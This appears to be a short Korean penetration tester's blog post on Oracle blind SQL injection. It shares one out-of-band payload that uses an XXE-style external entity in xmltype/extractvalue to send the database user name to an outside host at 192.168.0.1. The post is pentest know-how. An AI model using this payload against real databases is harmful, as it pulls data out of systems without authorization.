Hacking/WEB Hacking

Web@SQL Injection# XML & SQL Injection

hi0802 2019. 4. 9. 20:52

모의해킹 업무를 진행하다보면 SQL Injection 취약점을 발견하게 됩니다. 최근(?) 만들어지는 많은 사이트들이 Framework를 활용해 제작되다 보니 SQL Injection이 나오지 않는다는 편견을 가지고 계시는데 그것은 편견이 아니라 사실 잘 안나요.. 그래도 가끔 퍼포먼스 때문에 혹은 실수(?)로 입력값에 의해 동적으로 SQL 쿼리를 처리하는 로직이 몇몇 발견되기도 합니다.  최근(현재 진행중)에도 고객사에서 Blind SQL Injection 취약점이 나왔는데 서비스의 특수성 때문에 SQLMAP은 쓰질 못하고 Python으로 자동화 짜기도 귀찮고 해서 괜찮고 한번에 실행 결과를 보여주는 쌈박한 쿼리 없을까 찾아보다가 발견했습니다.

select * from EMPLOYEES where first_name='Steven' and (select extractvalue(xmltype('<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.0.1/'||(select user from dual)||'"> %remote;]>'),'/l') from dual)='1';

XXE와 같은 원리로 구문을 실행하여 외부 서버에 결과값을 전송해주는 쿼리입니다.  보고서로 쓰기에도 멋있어 보이고 서버에 부담도 안줄수 있는 멋진 쿼리에요!(저는 실제 업무에서 사용할려다 실패했습니다.ㅜㅜ 여러분은 성공하세요)